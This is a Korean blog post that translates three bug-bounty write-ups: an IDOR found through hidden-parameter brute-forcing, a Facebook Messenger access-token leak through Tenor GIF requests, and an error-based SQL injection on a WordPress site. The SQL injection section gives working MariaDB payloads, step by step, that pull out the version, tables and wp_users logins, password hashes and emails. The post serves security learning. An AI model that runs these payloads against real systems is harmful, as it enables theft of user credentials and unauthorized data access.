출처 : protector47.medium.com/worth-1-500-idor-access-unauthorize-data-52604aec99

 

Worth $1,500 IDOR (Access Unauthorize Data)

Assalam-o-Alaikum,

protector47.medium.com

 

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

 

이번글은 IDOR 취약점을 중점적으로 설명하고 자신이 버그바운티 한 방법을 말해주는 게시물인데 타겟이 비공개라 IDOR을 소개하고 찾는 방법에 중점을 둔 리포팅이더라구요. 저도 그 흐름에 따라 진행하겠습니다.

이 취약점을 통해 $1,500의 버그바운티 금액을 수령했다고 합니다.

이번 취약점 분석글은 IDOR 취약점을 주제로한 버그바운티 게시글입니다.

IDOR 취약점은 Insecure Direct Object References 의 약자로 확인되지 않은 사용자의 input이 확인안된 접근으로 리소스나 조작을 할수있는 access control 취약점입니다.
IDOR는 매우 사이버보안에 심각한 결과를 가질수 있고 찾기 힘들지만 exploit하기는 매우 간단하고 이 취약점을 통해 직접 URL파라미터를 변환할 수 있습니다.

IDOR 취약점은 아래에 소개드릴 3가지의 상황에서 발생합니다.
1. 응용 프로그램에서 내부 리소스 또는 작업에 대한 직접 참조를 표시할 때.
2. 사용자가 URL 또는 매개변수 양식을 조작해 직접 참조를 수정할 수 있을 때.
3. 응용프로그램이 사용자의 권한을 체크하지 않고 내부 개체에 대한 액세스 권한을 부여할때.

그렇다면 IDOR 종류에는 어떤 것들이 존재할지 말해보겠습니다.

- Obtaining unauthorized data access (허가되지 않은 데이터를 액세스 수용) : 노출된 객체 참조는 direct db ID를 보여주어 공격자들이 민감한 정보를 포함한 db 기록들을 검색하도록 허용되게 할 수 있습니다. db 키 이름들과 values는 또한 SQL Injection 페이로드를 만들때 사용될 수 있습니다.

- Performing unauthorized operations (허가되지 않은 조작들을 실행) : 검증되지 않은 사용자의 ID values, command name, API keys의 조작들 통해 공격자들은 허가되지 않은 조작을 응용프로그램에서 실행할 수 있습니다. 그 예로 계정의 비밀번호 강제 변경, 관리 권한의 명령어를 통해 사용자를 추가하거나 권한 상승을 하도록 실행, 유료 또는 제한이 설정된 어플리케이션 API 또는 기능에 접근 권한 획득을 할 수 있습니다.

- Manipulating application objects (application objects 조작) : 내부 object reference에 접근은 내부 상태 또는 어플리케이션 데이터에 대한 변경을 허가되지 않은 사용자가 할 수 있도록 허용할 수 있습니다. 이러한 취약점은 공격자가 세션 변수를 조작할 수 있습니다. 예를 들어 데이터 변경, 권한 상승 또는 제한된 기능에 대한 접근 등이 되겠습니다.

- Getting direct acess to files (파일에 대한 직접 권한 획득) : 일반적으로 path traversal과 결합되어 이 IDOR 방법은 공격자들이 파일 시스템 리소스 조작을 할 수 있습니다. 이 방법은 파일 업로드, 다른 사용자들의 데이터 조작 또는 유료 컨텐츠를 무료로 사용등을 가능하게 합니다. 

How I discover vulnerability?

정보 수집과 특별한 방식의 파라미터 브루트 포싱은 항상 새로운 단계 또는 기대하지 않았던 결과를 가져다줍니다.

저는 "www.abc.com" 이라는 사이트를 통해 테스트 했습니다. (여기서 저 사이트는 가상의 사이트라고 가정한다고 합니다. 바운티 정책상 밝힐수 없다는 군요.)

 

저는 높은 수준의 취약점을 찾고 있었습니다. 왜냐하면 프로그램이 오래됐고 저는 일반적인 이슈들이 이미 제보되거나 중복된 취약점들이락 생각했기 때문입니다.

 

저는 XSS나 SQLi 그리고 다른 조작들을 시도해봤지만 찾을수 없었습니다. 그 어플리케이션은 보안이 잘되어있었습니다. 아니면 제가 별로 일지도;;(이것도 원글 작성자가 쓴 조크입니다;; 밑에 짤도...)

 

충분한 퍼징을 통해 저는 숨겨진 파라미터 브루트포싱을 시작했습니다. 그리고 endpoint는 "https://www.abc.com/users/account/" 를 찾아냈습니다.

 

브루트 포싱은 아래 Arjun과 Parameth를 사용했습니다.

 

1. "https://github.com/s0md3v/Arjun"

2. "https://github.com/maK-/parameth"

 

Arjun은 "?id="이라는 파라미터를 찾아주었습니다.

그 뜻은 "https://www.abc.com/users/account/?id=" 을 사용가능 하다는 뜻입니다.

 

내 ID는 6781이었고 내가 ID를 6781에서 부터 6780까지 바꾸었을 때 다른 사용자의 데이터에 접근이 가능했습니다!!!

 

참 쉽죠잉? (작성자가 쓴거임)

하지만 hidden 파라미터 찾기는 어려웠습니다.

 

$1,500 돈을 받았습니다.

 

감사합니다.

 

여기까지가 원 글이네요. 

 

어떻게 보면 바운티 리포트이긴 한데 IDOR 취약점을 찾을 수 있는 오히려 더 좋은 정보를 가진 게시물인 것 같습니다.

저도 나중에 저거 써봐야겠습니다.

이런 글들을 보면 참 쉽게 찾는 것 같은데 저것도 충분히 잘하는 사람이라 그런것 같습니다.

그럼 모두들 화이팅합시다!

 

 

출처 :medium.com/bugbountywriteup/how-i-found-the-facebook-messenger-leaking-access-token-of-million-users-8ee4b3f1e5e3

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.


**이번 게시글은 Guhan  Raja의 바운티 글을 번역한 것으로 페이스북의 third party인 **GIF search engine의 information disclosure 취약점으로 $16,125 의 바운티 상금을 받은 것으로 기록되어 있습니다.****

처음에 화자는 Burp suite를 통해 API Request를 중간에 보면서 iOS를 테스트 해보는 중이었지만 아무 것도 발견하지 못했습니다.

그러던 와중 대학교 친구에게 Messenger App으로 메시지가 도착했고 답장을 하기위해 GIF를 검색했다고 합니다.

이때 자신이 Burp proxy를 사용중이었던 것을 기억하고 burp history를 검색했다고 합니다.

히스토리를 검색한 결과 모든 Tenor GIF request에 access token이 leak 되고 있는 것을 발견했다고 합니다.


**이때 Access Token은 사용자를 대신해 특정 작업을 수행하기위해 사용되는 토큰 또는 키 입니다.**

**또한 이 Access Token으로 비밀번호 없이 사용자의 계정에 접근할 수 있습니다.**

이 사진은 블로그 게시자의 이미지를 가져온 것입니다.

그리고 이것을 페이스 북에 제보하여 상금을 받았다고 합니다.

출처 : https://ynoof.medium.com/error-based-sql-injection-on-a-wordpress-website-and-extract-more-than-150k-user-details-f65f987c2cc0

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

Error Based SQL Injection
[정의]
1. 의도적으로 에러를 유발
2. 내가 원하는 에러 메세지를 출력되도록 유도
참고 : https://sang-gamja.tistory.com/26?category=734915

공격자는 우선 wordpress를 타겟으로 공격을 진행하였다고 한다. 이때 공격에 사용되는 url은 target.com으로 진행한다.

우선 공격자는 싱글쿼터('), 더블쿼터("), 슬래쉬(/), 해쉬(#) 등을 이용해 해킹을 시작한다.

공격자는 우선 아래와 같은 공격을 진행했지만 페이지에 보여지는 것은 없었다고 한다.

https://target.com/pages/?sort=1

https://target.com/pages/?sort=1'

보통은 여기서 아무것도 일어나지 않는다면 무심코 지나치겠지만 페이지 소스를 열어 아래와 같은 에러가 발생하였다는 것을 알았다.

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#039;\\\\\\&#039; ASC LIMIT 10 OFFSET 4120&#039; at line 6]<br /><code>
            SELECT
                p.*,
                c.Name as CategoryName,
                c.Slug as CategorySlug,
                c.Code as CategoryCode,
                (CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1\\\\\\&#039; ASC LIMIT 10 OFFSET 4120</code></p></div><!DOCTYPE html>

에러 내용에서 limit가 초과되지 않았다는 것을 알았기에 에러를 없애기위해 아래와 같은 시도를 진행하였다.

https://target.com/pages/?sort=1'--
https://target.com/pages/?sort=1'-- -
https://target.com/pages/?sort=1'/
https://target.com/pages/?sort=1'#

하지만 에러는 고쳐지지 않고 아래와 같은 에러가 떴다.

WordPress database error: [Unknown column &#039;p.1&#039; in &#039;order clause&#039;]
            SELECT
                p.*,
                c.Name as CategoryName,
                c.Slug as CategorySlug,
                c.Code as CategoryCode,
                (CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1 ASC LIMIT 10 OFFSET 4120

이 에러는 [Unknown column p.1 in order clause]이다.

따라서 sort 파라미터의 값을 대신하기 위해서 위 에러메세지에서 알아낸 UpvoteCount, DownvoteCount, CategoryId, AggregatorId, Status, Id 중 하나를 선택해서 진행한다.

https://target.com/pages/?sort=CategoryId

이때 소스페이지에는 에러가 나타나지 않았고 성공적으로 에러를 고쳤다.

우리는 UNION SELECT가 먹히지 않을 때 컴파일된 쿼리를 사용해 동작을 진행할 수 있다.

우리는 아래와 같은 Error-Based Query를 사용할 수 있다.

a. The Used Select Statements Have  Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c._error_ #1604

A. Knowing the DB Version

아래와 같은 쿼리로 DB Version을 얻을 수 있다.

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

작성자의 경우 아래와 같은 쿼리로 진행하였다.

<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

따라서 우리는 버전을 획득할 수 있었다.

10.3.14-MariaDB

B. Getting the DB Name

우리는 아래와 같은 쿼리로 DB 이름을 알아낼 수 있다.

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

모든 데이터베이스를 추출하기 위해서 limit 함수를 증가시킨다
예) limit0,1 or limit1,1 or limit2,1...etc

작성자의 경우는 아래와 같이 진행했다.

<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

DB Name 결과는 아래와 같다.

prd2

C. Getting the table naems

우리는 아래와 같은 쿼리로 테이블 이름을 알 수 있다.

and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

작성자는 아래와 같은 쿼리를 진행했다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

획득한 테이블 이름은 아래와 같다.

[Duplicate entry &#039;wp_mail~1; for key group_key] 

limit를 쓰지않고 획득하려면 아래와 같은 쿼리로 얻을 수 있다.

CategoryId+and (select 1 from (select count(*),concat((select(select substring(group_concat(table_name),1,150)) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

만약 substring 함수가 동작하지 않으면 substr 또는 mid 함수를 사용해라.
작성자는 테이블 이름 중 wp_users의 컬럼에 접근하려 한다.

D. Getting columns from wp_users table

우리는 아래와 같은 쿼리로 컬럼에 접근할 수 있다.

and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

작성자는 아래와 같은 쿼리를 사용하였다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

획득한 컬럼은 아래와 같다.

ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

Extracting the data from columns

우리는 데이터를 아래와 같은 쿼리를 사용하여 얻을 수 있다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email) as char),0x7e)) from prd2.wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

또는 limit 함수를 사용하지 않고 아래와 같은 쿼리를 사용하여 데이터를 얻을 수 있다.

CategoryId+And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email),1,150)from prd2.wp_users),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)

+ Recent posts